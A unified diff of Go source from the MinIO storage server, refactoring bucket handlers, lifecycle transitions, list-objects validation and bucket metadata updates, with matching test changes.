@@ -1307,7 +1331,10 @@ func (api objectAPIHandlers) DeleteBucketHandler(w http.ResponseWriter, r *http.
 	deleteBucket := objectAPI.DeleteBucket

 	// Attempt to delete bucket.
-	if err := deleteBucket(ctx, bucket, DeleteBucketOptions{Force: forceDelete}); err != nil {
+	if err := deleteBucket(ctx, bucket, DeleteBucketOptions{
+		Force:      forceDelete,
+		SRDeleteOp: getSRBucketDeleteOp(globalSiteReplicationSys.isEnabled()),
+	}); err != nil {
 		apiErr := toAPIError(ctx, err)
 		if _, ok := err.(BucketNotEmpty); ok {
 			if globalBucketVersioningSys.Enabled(bucket) || globalBucketVersioningSys.Suspended(bucket) {
@@ -1325,11 +1352,9 @@ func (api objectAPIHandlers) DeleteBucketHandler(w http.ResponseWriter, r *http.

 	globalNotificationSys.DeleteBucketMetadata(ctx, bucket)
 	globalReplicationPool.deleteResyncMetadata(ctx, bucket)
+
 	// Call site replication hook.
-	if err := globalSiteReplicationSys.DeleteBucketHook(ctx, bucket, forceDelete); err != nil {
-		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
-		return
-	}
+	logger.LogIf(ctx, globalSiteReplicationSys.DeleteBucketHook(ctx, bucket, forceDelete))

 	// Write success response.
 	writeSuccessNoContent(w)
@@ -1362,10 +1387,6 @@ func (api objectAPIHandlers) PutBucketObjectLockConfigHandler(w http.ResponseWri
 		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrServerNotInitialized), r.URL)
 		return
 	}
-	if globalIsGateway {
-		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrNotImplemented), r.URL)
-		return
-	}
 	if s3Error := checkRequestAuthType(ctx, r, policy.PutBucketObjectLockConfigurationAction, bucket, ""); s3Error != ErrNone {
 		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(s3Error), r.URL)
 		return
@@ -1391,7 +1412,8 @@ func (api objectAPIHandlers) PutBucketObjectLockConfigHandler(w http.ResponseWri
 		return
 	}

-	if err = globalBucketMetadataSys.Update(ctx, bucket, objectLockConfig, configData); err != nil {
+	updatedAt, err := globalBucketMetadataSys.Update(ctx, bucket, objectLockConfig, configData)
+	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -1401,14 +1423,12 @@ func (api objectAPIHandlers) PutBucketObjectLockConfigHandler(w http.ResponseWri
 	// We encode the xml bytes as base64 to ensure there are no encoding
 	// errors.
 	cfgStr := base64.StdEncoding.EncodeToString(configData)
-	if err = globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
+	logger.LogIf(ctx, globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
 		Type:             madmin.SRBucketMetaTypeObjectLockConfig,
 		Bucket:           bucket,
 		ObjectLockConfig: &cfgStr,
-	}); err != nil {
-		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
-		return
-	}
+		UpdatedAt:        updatedAt,
+	}))

 	// Write success response.
 	writeSuccessResponseHeadersOnly(w)
@@ -1472,7 +1492,7 @@ func (api objectAPIHandlers) PutBucketTaggingHandler(w http.ResponseWriter, r *h
 	}

 	// Check if bucket exists.
-	if _, err := objectAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -1496,7 +1516,8 @@ func (api objectAPIHandlers) PutBucketTaggingHandler(w http.ResponseWriter, r *h
 		return
 	}

-	if err = globalBucketMetadataSys.Update(ctx, bucket, bucketTaggingConfig, configData); err != nil {
+	updatedAt, err := globalBucketMetadataSys.Update(ctx, bucket, bucketTaggingConfig, configData)
+	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -1506,14 +1527,12 @@ func (api objectAPIHandlers) PutBucketTaggingHandler(w http.ResponseWriter, r *h
 	// We encode the xml bytes as base64 to ensure there are no encoding
 	// errors.
 	cfgStr := base64.StdEncoding.EncodeToString(configData)
-	if err = globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
-		Type:   madmin.SRBucketMetaTypeTags,
-		Bucket: bucket,
-		Tags:   &cfgStr,
-	}); err != nil {
-		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
-		return
-	}
+	logger.LogIf(ctx, globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
+		Type:      madmin.SRBucketMetaTypeTags,
+		Bucket:    bucket,
+		Tags:      &cfgStr,
+		UpdatedAt: updatedAt,
+	}))

 	// Write success response.
 	writeSuccessResponseHeadersOnly(w)
@@ -1578,18 +1597,17 @@ func (api objectAPIHandlers) DeleteBucketTaggingHandler(w http.ResponseWriter, r
 		return
 	}

-	if err := globalBucketMetadataSys.Update(ctx, bucket, bucketTaggingConfig, nil); err != nil {
+	updatedAt, err := globalBucketMetadataSys.Delete(ctx, bucket, bucketTaggingConfig)
+	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}

-	if err := globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
-		Type:   madmin.SRBucketMetaTypeTags,
-		Bucket: bucket,
-	}); err != nil {
-		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
-		return
-	}
+	logger.LogIf(ctx, globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
+		Type:      madmin.SRBucketMetaTypeTags,
+		Bucket:    bucket,
+		UpdatedAt: updatedAt,
+	}))

 	// Write success response.
 	writeSuccessResponseHeadersOnly(w)
@@ -21,7 +21,7 @@ import (
 	"bytes"
 	"encoding/xml"
 	"fmt"
-	"io/ioutil"
+	"io"
 	"net/http"
 	"net/http/httptest"
 	"strconv"
@@ -662,6 +662,9 @@ func testAPIDeleteMultipleObjectsHandler(obj ObjectLayer, instanceType, bucketNa
 	var objectNames []string
 	for i := 0; i < 10; i++ {
 		objectName := "test-object-" + strconv.Itoa(i)
+		if i == 0 {
+			objectName += "/"
+		}
 		// uploading the object.
 		_, err = obj.PutObject(GlobalContext, bucketName, objectName, mustGetPutObjReader(t, bytes.NewReader(contentBytes), int64(len(contentBytes)), "", sha256sum), ObjectOptions{})
 		// if object upload fails stop the test.
@@ -793,9 +796,9 @@ func testAPIDeleteMultipleObjectsHandler(obj ObjectLayer, instanceType, bucketNa
 		expectedContent    []byte
 		expectedRespStatus int
 	}{
-		// Test case - 1.
+		// Test case - 0.
 		// Delete objects with invalid access key.
-		{
+		0: {
 			bucket:             bucketName,
 			objects:            successRequest0,
 			accessKey:          "Invalid-AccessID",
@@ -803,9 +806,19 @@ func testAPIDeleteMultipleObjectsHandler(obj ObjectLayer, instanceType, bucketNa
 			expectedContent:    nil,
 			expectedRespStatus: http.StatusForbidden,
 		},
-		// Test case - 2.
+		// Test case - 1.
 		// Delete valid objects with quiet flag off.
-		{
+		1: {
+			bucket:             bucketName,
+			objects:            successRequest0,
+			accessKey:          credentials.AccessKey,
+			secretKey:          credentials.SecretKey,
+			expectedContent:    encodedSuccessResponse0,
+			expectedRespStatus: http.StatusOK,
+		},
+		// Test case - 2.
+		// Delete deleted objects with quiet flag off.
+		2: {
 			bucket:             bucketName,
 			objects:            successRequest0,
 			accessKey:          credentials.AccessKey,
@@ -815,7 +828,7 @@ func testAPIDeleteMultipleObjectsHandler(obj ObjectLayer, instanceType, bucketNa
 		},
 		// Test case - 3.
 		// Delete valid objects with quiet flag on.
-		{
+		3: {
 			bucket:             bucketName,
 			objects:            successRequest1,
 			accessKey:          credentials.AccessKey,
@@ -825,7 +838,7 @@ func testAPIDeleteMultipleObjectsHandler(obj ObjectLayer, instanceType, bucketNa
 		},
 		// Test case - 4.
 		// Delete previously deleted objects.
-		{
+		4: {
 			bucket:             bucketName,
 			objects:            successRequest1,
 			accessKey:          credentials.AccessKey,
@@ -836,7 +849,7 @@ func testAPIDeleteMultipleObjectsHandler(obj ObjectLayer, instanceType, bucketNa
 		// Test case - 5.
 		// Anonymous user access denied response
 		// Currently anonymous users cannot delete multiple objects in MinIO server
-		{
+		5: {
 			bucket:             bucketName,
 			objects:            anonRequest,
 			accessKey:          "",
@@ -847,7 +860,7 @@ func testAPIDeleteMultipleObjectsHandler(obj ObjectLayer, instanceType, bucketNa
 		// Test case - 6.
 		// Anonymous user has access to some public folder, issue removing with
 		// another private object as well
-		{
+		6: {
 			bucket:             bucketName,
 			objects:            anonRequestWithPartialPublicAccess,
 			accessKey:          "",
@@ -881,19 +894,19 @@ func testAPIDeleteMultipleObjectsHandler(obj ObjectLayer, instanceType, bucketNa
 		apiRouter.ServeHTTP(rec, req)
 		// Assert the response code with the expected status.
 		if rec.Code != testCase.expectedRespStatus {
-			t.Errorf("Test %d: MinIO %s: Expected the response status to be `%d`, but instead found `%d`", i+1, instanceType, testCase.expectedRespStatus, rec.Code)
+			t.Errorf("Test %d: MinIO %s: Expected the response status to be `%d`, but instead found `%d`", i, instanceType, testCase.expectedRespStatus, rec.Code)
 		}

 		// read the response body.
-		actualContent, err = ioutil.ReadAll(rec.Body)
+		actualContent, err = io.ReadAll(rec.Body)
 		if err != nil {
-			t.Fatalf("Test %d : MinIO %s: Failed parsing response body: <ERROR> %v", i+1, instanceType, err)
+			t.Fatalf("Test %d : MinIO %s: Failed parsing response body: <ERROR> %v", i, instanceType, err)
 		}

 		// Verify whether the bucket obtained object is same as the one created.
 		if testCase.expectedContent != nil && !bytes.Equal(testCase.expectedContent, actualContent) {
 			t.Log(string(testCase.expectedContent), string(actualContent))
-			t.Errorf("Test %d : MinIO %s: Object content differs from expected value.", i+1, instanceType)
+			t.Errorf("Test %d : MinIO %s: Object content differs from expected value.", i, instanceType)
 		}
 	}

@@ -22,10 +22,10 @@ import (
 	"io"
 	"net/http"

-	"github.com/gorilla/mux"
 	"github.com/minio/minio/internal/bucket/lifecycle"
 	xhttp "github.com/minio/minio/internal/http"
 	"github.com/minio/minio/internal/logger"
+	"github.com/minio/mux"
 	"github.com/minio/pkg/bucket/policy"
 )

@@ -62,12 +62,12 @@ func (api objectAPIHandlers) PutBucketLifecycleHandler(w http.ResponseWriter, r
 	}

 	// Check if bucket exists.
-	if _, err := objAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}

-	bucketLifecycle, err := lifecycle.ParseLifecycleConfig(io.LimitReader(r.Body, r.ContentLength))
+	bucketLifecycle, err := lifecycle.ParseLifecycleConfigWithID(io.LimitReader(r.Body, r.ContentLength))
 	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
@@ -91,7 +91,7 @@ func (api objectAPIHandlers) PutBucketLifecycleHandler(w http.ResponseWriter, r
 		return
 	}

-	if err = globalBucketMetadataSys.Update(ctx, bucket, bucketLifecycleConfig, configData); err != nil {
+	if _, err = globalBucketMetadataSys.Update(ctx, bucket, bucketLifecycleConfig, configData); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -121,7 +121,7 @@ func (api objectAPIHandlers) GetBucketLifecycleHandler(w http.ResponseWriter, r
 	}

 	// Check if bucket exists.
-	if _, err := objAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -163,12 +163,12 @@ func (api objectAPIHandlers) DeleteBucketLifecycleHandler(w http.ResponseWriter,
 	}

 	// Check if bucket exists.
-	if _, err := objAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}

-	if err := globalBucketMetadataSys.Update(ctx, bucket, bucketLifecycleConfig, nil); err != nil {
+	if _, err := globalBucketMetadataSys.Delete(ctx, bucket, bucketLifecycleConfig); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -31,6 +31,7 @@ import (

 	"github.com/google/uuid"
 	"github.com/minio/minio-go/v7/pkg/tags"
+	"github.com/minio/minio/internal/amztime"
 	sse "github.com/minio/minio/internal/bucket/encryption"
 	"github.com/minio/minio/internal/bucket/lifecycle"
 	"github.com/minio/minio/internal/event"
@@ -57,15 +58,6 @@ type LifecycleSys struct{}

 // Get - gets lifecycle config associated to a given bucket name.
 func (sys *LifecycleSys) Get(bucketName string) (lc *lifecycle.Lifecycle, err error) {
-	if globalIsGateway {
-		objAPI := newObjectLayerFn()
-		if objAPI == nil {
-			return nil, errServerNotInitialized
-		}
-
-		return nil, BucketLifecycleNotFound{Bucket: bucketName}
-	}
-
 	return globalBucketMetadataSys.GetLifecycleConfig(bucketName)
 }

@@ -154,9 +146,14 @@ type newerNoncurrentTask struct {
 	versions []ObjectToDelete
 }

+type transitionTask struct {
+	tier    string
+	objInfo ObjectInfo
+}
+
 type transitionState struct {
 	once         sync.Once
-	transitionCh chan ObjectInfo
+	transitionCh chan transitionTask

 	ctx        context.Context
 	objAPI     ObjectLayer
@@ -170,13 +167,13 @@ type transitionState struct {
 	lastDayStats map[string]*lastDayTierStats
 }

-func (t *transitionState) queueTransitionTask(oi ObjectInfo) {
+func (t *transitionState) queueTransitionTask(oi ObjectInfo, sc string) {
 	select {
 	case <-GlobalContext.Done():
 		t.once.Do(func() {
 			close(t.transitionCh)
 		})
-	case t.transitionCh <- oi:
+	case t.transitionCh <- transitionTask{objInfo: oi, tier: sc}:
 	default:
 	}
 }
@@ -185,7 +182,7 @@ var globalTransitionState *transitionState

 func newTransitionState(ctx context.Context, objAPI ObjectLayer) *transitionState {
 	return &transitionState{
-		transitionCh: make(chan ObjectInfo, 10000),
+		transitionCh: make(chan transitionTask, 10000),
 		ctx:          ctx,
 		objAPI:       objAPI,
 		killCh:       make(chan struct{}),
@@ -212,27 +209,25 @@ func (t *transitionState) worker(ctx context.Context, objectAPI ObjectLayer) {
 			return
 		case <-ctx.Done():
 			return
-		case oi, ok := <-t.transitionCh:
+		case task, ok := <-t.transitionCh:
 			if !ok {
 				return
 			}
 			atomic.AddInt32(&t.activeTasks, 1)
-			var tier string
-			var err error
-			if tier, err = transitionObject(ctx, objectAPI, oi); err != nil {
-				logger.LogIf(ctx, fmt.Errorf("Transition failed for %s/%s version:%s with %w", oi.Bucket, oi.Name, oi.VersionID, err))
+			if err := transitionObject(ctx, objectAPI, task.objInfo, task.tier); err != nil {
+				logger.LogIf(ctx, fmt.Errorf("Transition failed for %s/%s version:%s with %w",
+					task.objInfo.Bucket, task.objInfo.Name, task.objInfo.VersionID, err))
 			} else {
 				ts := tierStats{
-					TotalSize:   uint64(oi.Size),
+					TotalSize:   uint64(task.objInfo.Size),
 					NumVersions: 1,
 				}
-				if oi.IsLatest {
+				if task.objInfo.IsLatest {
 					ts.NumObjects = 1
 				}
-				t.addLastDayStats(tier, ts)
+				t.addLastDayStats(task.tier, ts)
 			}
 			atomic.AddInt32(&t.activeTasks, -1)
-
 		}
 	}
 }
@@ -303,9 +298,10 @@ func validateTransitionTier(lc *lifecycle.Lifecycle) error {
 // This is to be called after a successful upload of an object (version).
 func enqueueTransitionImmediate(obj ObjectInfo) {
 	if lc, err := globalLifecycleSys.Get(obj.Bucket); err == nil {
-		switch lc.ComputeAction(obj.ToLifecycleOpts()) {
+		event := lc.Eval(obj.ToLifecycleOpts())
+		switch event.Action {
 		case lifecycle.TransitionAction, lifecycle.TransitionVersionAction:
-			globalTransitionState.queueTransitionTask(obj)
+			globalTransitionState.queueTransitionTask(obj, event.StorageClass)
 		}
 	}
 }
@@ -402,12 +398,7 @@ func genTransitionObjName(bucket string) (string, error) {
 // storage specified by the transition ARN, the metadata is left behind on source cluster and original content
 // is moved to the transition tier. Note that in the case of encrypted objects, entire encrypted stream is moved
 // to the transition tier without decrypting or re-encrypting.
-func transitionObject(ctx context.Context, objectAPI ObjectLayer, oi ObjectInfo) (string, error) {
-	lc, err := globalLifecycleSys.Get(oi.Bucket)
-	if err != nil {
-		return "", err
-	}
-	tier := lc.TransitionTier(oi.ToLifecycleOpts())
+func transitionObject(ctx context.Context, objectAPI ObjectLayer, oi ObjectInfo, tier string) error {
 	opts := ObjectOptions{
 		Transition: TransitionOptions{
 			Status: lifecycle.TransitionPending,
@@ -419,7 +410,37 @@ func transitionObject(ctx context.Context, objectAPI ObjectLayer, oi ObjectInfo)
 		VersionSuspended: globalBucketVersioningSys.PrefixSuspended(oi.Bucket, oi.Name),
 		MTime:            oi.ModTime,
 	}
-	return tier, objectAPI.TransitionObject(ctx, oi.Bucket, oi.Name, opts)
+	return objectAPI.TransitionObject(ctx, oi.Bucket, oi.Name, opts)
+}
+
+type auditTierOp struct {
+	Tier             string `json:"tier"`
+	TimeToResponseNS int64  `json:"timeToResponseNS"`
+	OutputBytes      int64  `json:"tx,omitempty"`
+	Error            string `json:"error,omitempty"`
+}
+
+func auditTierActions(ctx context.Context, tier string, bytes int64) func(err error) {
+	startTime := time.Now()
+	return func(err error) {
+		// Record only when audit targets configured.
+		if len(logger.AuditTargets()) == 0 {
+			return
+		}
+
+		op := auditTierOp{
+			Tier:        tier,
+			OutputBytes: bytes,
+		}
+
+		if err == nil {
+			op.TimeToResponseNS = time.Since(startTime).Nanoseconds()
+		} else {
+			op.Error = err.Error()
+		}
+
+		logger.GetReqInfo(ctx).AppendTags("tierStats", op)
+	}
 }

 // getTransitionedObjectReader returns a reader from the transitioned tier.
@@ -441,12 +462,13 @@ func getTransitionedObjectReader(ctx context.Context, bucket, object string, rs
 		gopts.length = length
 	}

+	timeTierAction := auditTierActions(ctx, oi.TransitionedObject.Tier, length)
 	reader, err := tgtClient.Get(ctx, oi.TransitionedObject.Name, remoteVersionID(oi.TransitionedObject.VersionID), gopts)
 	if err != nil {
 		return nil, err
 	}
 	closer := func() {
-		reader.Close()
+		timeTierAction(reader.Close())
 	}
 	return fn(reader, h, closer)
 }
@@ -518,7 +540,7 @@ type RestoreObjectRequest struct {
 	XMLName          xml.Name           `xml:"http://s3.amazonaws.com/doc/2006-03-01/ RestoreRequest" json:"-"`
 	Days             int                `xml:"Days,omitempty"`
 	Type             RestoreRequestType `xml:"Type,omitempty"`
-	Tier             string             `xml:"Tier,-"`
+	Tier             string             `xml:"Tier"`
 	Description      string             `xml:"Description,omitempty"`
 	SelectParameters *SelectParameters  `xml:"SelectParameters,omitempty"`
 	OutputLocation   OutputLocation     `xml:"OutputLocation,omitempty"`
@@ -560,7 +582,7 @@ func (r *RestoreObjectRequest) validate(ctx context.Context, objAPI ObjectLayer)
 	}
 	// Check if bucket exists.
 	if !r.OutputLocation.IsEmpty() {
-		if _, err := objAPI.GetBucketInfo(ctx, r.OutputLocation.S3.BucketName); err != nil {
+		if _, err := objAPI.GetBucketInfo(ctx, r.OutputLocation.S3.BucketName, BucketOptions{}); err != nil {
 			return err
 		}
 		if r.OutputLocation.S3.Prefix == "" {
@@ -638,7 +660,9 @@ func putRestoreOpts(bucket, object string, rreq *RestoreObjectRequest, objInfo O
 	if len(objInfo.UserTags) != 0 {
 		meta[xhttp.AmzObjectTagging] = objInfo.UserTags
 	}
-
+	// Set restore object status
+	restoreExpiry := lifecycle.ExpectedExpiryTime(time.Now().UTC(), rreq.Days)
+	meta[xhttp.AmzRestore] = completedRestoreObj(restoreExpiry).String()
 	return ObjectOptions{
 		Versioned:        globalBucketVersioningSys.PrefixEnabled(bucket, object),
 		VersionSuspended: globalBucketVersioningSys.PrefixSuspended(bucket, object),
@@ -755,7 +779,7 @@ func parseRestoreObjStatus(restoreHdr string) (restoreObjStatus, error) {
 		if strings.TrimSpace(expiryTokens[0]) != "expiry-date" {
 			return restoreObjStatus{}, errRestoreHDRMalformed
 		}
-		expiry, err := time.Parse(http.TimeFormat, strings.Trim(expiryTokens[1], `"`))
+		expiry, err := amztime.ParseHeader(strings.Trim(expiryTokens[1], `"`))
 		if err != nil {
 			return restoreObjStatus{}, errRestoreHDRMalformed
 		}
@@ -19,13 +19,12 @@ package cmd

 import (
 	"context"
-	"fmt"
 	"net/http"
 	"strconv"
 	"strings"

-	"github.com/gorilla/mux"
 	"github.com/minio/minio/internal/logger"
+	"github.com/minio/mux"

 	"github.com/minio/pkg/bucket/policy"
 )
@@ -33,10 +32,10 @@ import (
 // Validate all the ListObjects query arguments, returns an APIErrorCode
 // if one of the args do not meet the required conditions.
 // Special conditions required by MinIO server are as below
-// - delimiter if set should be equal to '/', otherwise the request is rejected.
-// - marker if set should have a common prefix with 'prefix' param, otherwise
-//   the request is rejected.
-func validateListObjectsArgs(marker, delimiter, encodingType string, maxKeys int) APIErrorCode {
+//   - delimiter if set should be equal to '/', otherwise the request is rejected.
+//   - marker if set should have a common prefix with 'prefix' param, otherwise
+//     the request is rejected.
+func validateListObjectsArgs(prefix, marker, delimiter, encodingType string, maxKeys int) APIErrorCode {
 	// Max keys cannot be negative.
 	if maxKeys < 0 {
 		return ErrInvalidMaxKeys
@@ -49,6 +48,14 @@ func validateListObjectsArgs(marker, delimiter, encodingType string, maxKeys int
 		}
 	}

+	if !IsValidObjectPrefix(prefix) {
+		return ErrInvalidObjectName
+	}
+
+	if marker != "" && !HasPrefix(marker, prefix) {
+		return ErrNotImplemented
+	}
+
 	return ErrNone
 }

@@ -84,7 +91,7 @@ func (api objectAPIHandlers) ListObjectVersionsHandler(w http.ResponseWriter, r
 	}

 	// Validate the query params before beginning to serve the request.
-	if s3Error := validateListObjectsArgs(marker, delimiter, encodingType, maxkeys); s3Error != ErrNone {
+	if s3Error := validateListObjectsArgs(prefix, marker, delimiter, encodingType, maxkeys); s3Error != ErrNone {
 		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(s3Error), r.URL)
 		return
 	}
@@ -101,7 +108,6 @@ func (api objectAPIHandlers) ListObjectVersionsHandler(w http.ResponseWriter, r
 	}

 	if err = DecryptETags(ctx, GlobalKMS, listObjectVersionsInfo.Objects); err != nil {
-		logger.LogIf(ctx, fmt.Errorf("Failed to decrypt ETag: %v", err)) // TODO(aead): Remove once we are confident that decryption does not fail accidentially
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -109,7 +115,7 @@ func (api objectAPIHandlers) ListObjectVersionsHandler(w http.ResponseWriter, r
 	response := generateListVersionsResponse(bucket, prefix, marker, versionIDMarker, delimiter, encodingType, maxkeys, listObjectVersionsInfo)

 	// Write success response.
-	writeSuccessResponseXML(w, encodeResponse(response))
+	writeSuccessResponseXML(w, encodeResponseList(response))
 }

 // ListObjectsV2MHandler - GET Bucket (List Objects) Version 2 with metadata.
@@ -150,7 +156,7 @@ func (api objectAPIHandlers) ListObjectsV2MHandler(w http.ResponseWriter, r *htt

 	// Validate the query params before beginning to serve the request.
 	// fetch-owner is not validated since it is a boolean
-	if s3Error := validateListObjectsArgs(token, delimiter, encodingType, maxKeys); s3Error != ErrNone {
+	if s3Error := validateListObjectsArgs(prefix, token, delimiter, encodingType, maxKeys); s3Error != ErrNone {
 		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(s3Error), r.URL)
 		return
 	}
@@ -167,7 +173,6 @@ func (api objectAPIHandlers) ListObjectsV2MHandler(w http.ResponseWriter, r *htt
 	}

 	if err = DecryptETags(ctx, GlobalKMS, listObjectsV2Info.Objects); err != nil {
-		logger.LogIf(ctx, fmt.Errorf("Failed to decrypt ETag: %v", err)) // TODO(aead): Remove once we are confident that decryption does not fail accidentially
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -180,7 +185,7 @@ func (api objectAPIHandlers) ListObjectsV2MHandler(w http.ResponseWriter, r *htt
 		maxKeys, listObjectsV2Info.Objects, listObjectsV2Info.Prefixes, true)

 	// Write success response.
-	writeSuccessResponseXML(w, encodeResponse(response))
+	writeSuccessResponseXML(w, encodeResponseList(response))
 }

 // ListObjectsV2Handler - GET Bucket (List Objects) Version 2.
@@ -221,7 +226,7 @@ func (api objectAPIHandlers) ListObjectsV2Handler(w http.ResponseWriter, r *http

 	// Validate the query params before beginning to serve the request.
 	// fetch-owner is not validated since it is a boolean
-	if s3Error := validateListObjectsArgs(token, delimiter, encodingType, maxKeys); s3Error != ErrNone {
+	if s3Error := validateListObjectsArgs(prefix, token, delimiter, encodingType, maxKeys); s3Error != ErrNone {
 		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(s3Error), r.URL)
 		return
 	}
@@ -246,7 +251,6 @@ func (api objectAPIHandlers) ListObjectsV2Handler(w http.ResponseWriter, r *http
 	}

 	if err = DecryptETags(ctx, GlobalKMS, listObjectsV2Info.Objects); err != nil {
-		logger.LogIf(ctx, fmt.Errorf("Failed to decrypt ETag: %v", err)) // TODO(aead): Remove once we are confident that decryption does not fail accidentially
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -256,7 +260,7 @@ func (api objectAPIHandlers) ListObjectsV2Handler(w http.ResponseWriter, r *http
 		maxKeys, listObjectsV2Info.Objects, listObjectsV2Info.Prefixes, false)

 	// Write success response.
-	writeSuccessResponseXML(w, encodeResponse(response))
+	writeSuccessResponseXML(w, encodeResponseList(response))
 }

 func parseRequestToken(token string) (subToken string, nodeIndex int) {
@@ -302,7 +306,6 @@ func proxyRequestByNodeIndex(ctx context.Context, w http.ResponseWriter, r *http
 // This implementation of the GET operation returns some or all (up to 1000)
 // of the objects in a bucket. You can use the request parameters as selection
 // criteria to return a subset of the objects in a bucket.
-//
 func (api objectAPIHandlers) ListObjectsV1Handler(w http.ResponseWriter, r *http.Request) {
 	ctx := newContext(r, w, "ListObjectsV1")

@@ -330,7 +333,7 @@ func (api objectAPIHandlers) ListObjectsV1Handler(w http.ResponseWriter, r *http
 	}

 	// Validate all the query params before beginning to serve the request.
-	if s3Error := validateListObjectsArgs(marker, delimiter, encodingType, maxKeys); s3Error != ErrNone {
+	if s3Error := validateListObjectsArgs(prefix, marker, delimiter, encodingType, maxKeys); s3Error != ErrNone {
 		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(s3Error), r.URL)
 		return
 	}
@@ -347,7 +350,6 @@ func (api objectAPIHandlers) ListObjectsV1Handler(w http.ResponseWriter, r *http
 	}

 	if err = DecryptETags(ctx, GlobalKMS, listObjectsInfo.Objects); err != nil {
-		logger.LogIf(ctx, fmt.Errorf("Failed to decrypt ETag: %v", err)) // TODO(aead): Remove once we are confident that decryption does not fail accidentially
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -355,5 +357,5 @@ func (api objectAPIHandlers) ListObjectsV1Handler(w http.ResponseWriter, r *http
 	response := generateListObjectsV1Response(bucket, prefix, marker, delimiter, encodingType, maxKeys, listObjectsInfo)

 	// Write success response.
-	writeSuccessResponseXML(w, encodeResponse(response))
+	writeSuccessResponseXML(w, encodeResponseList(response))
 }
@@ -18,14 +18,13 @@
 package cmd

 import (
-	"bytes"
 	"context"
 	"errors"
 	"fmt"
 	"sync"
 	"time"

-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio-go/v7/pkg/tags"
 	bucketsse "github.com/minio/minio/internal/bucket/encryption"
 	"github.com/minio/minio/internal/bucket/lifecycle"
@@ -45,11 +44,16 @@ type BucketMetadataSys struct {
 	metadataMap map[string]BucketMetadata
 }

+// Count returns number of bucket metadata map entries.
+func (sys *BucketMetadataSys) Count() int {
+	sys.RLock()
+	defer sys.RUnlock()
+
+	return len(sys.metadataMap)
+}
+
 // Remove bucket metadata from memory.
 func (sys *BucketMetadataSys) Remove(bucket string) {
-	if globalIsGateway {
-		return
-	}
 	sys.Lock()
 	delete(sys.metadataMap, bucket)
 	globalBucketMonitor.DeleteBucket(bucket)
@@ -62,99 +66,91 @@ func (sys *BucketMetadataSys) Remove(bucket string) {
 // so they should be replaced atomically and not appended to, etc.
 // Data is not persisted to disk.
 func (sys *BucketMetadataSys) Set(bucket string, meta BucketMetadata) {
-	if globalIsGateway {
-		return
-	}
-
-	if bucket != minioMetaBucket {
+	if !isMinioMetaBucketName(bucket) {
 		sys.Lock()
 		sys.metadataMap[bucket] = meta
 		sys.Unlock()
 	}
 }

-// Update update bucket metadata for the specified config file.
-// The configData data should not be modified after being sent here.
-func (sys *BucketMetadataSys) Update(ctx context.Context, bucket string, configFile string, configData []byte) error {
+func (sys *BucketMetadataSys) updateAndParse(ctx context.Context, bucket string, configFile string, configData []byte, parse bool) (updatedAt time.Time, err error) {
 	objAPI := newObjectLayerFn()
 	if objAPI == nil {
-		return errServerNotInitialized
+		return updatedAt, errServerNotInitialized
 	}

-	if globalIsGateway && globalGatewayName != NASBackendGateway {
-		if configFile == bucketPolicyConfig {
-			if configData == nil {
-				return objAPI.DeleteBucketPolicy(ctx, bucket)
-			}
-			config, err := policy.ParseConfig(bytes.NewReader(configData), bucket)
-			if err != nil {
-				return err
-			}
-			return objAPI.SetBucketPolicy(ctx, bucket, config)
-		}
-		return NotImplemented{}
+	if isMinioMetaBucketName(bucket) {
+		return updatedAt, errInvalidArgument
 	}

-	if bucket == minioMetaBucket {
-		return errInvalidArgument
-	}
-
-	meta, err := loadBucketMetadata(ctx, objAPI, bucket)
+	meta, err := loadBucketMetadataParse(ctx, objAPI, bucket, parse)
 	if err != nil {
 		if !globalIsErasure && !globalIsDistErasure && errors.Is(err, errVolumeNotFound) {
 			// Only single drive mode needs this fallback.
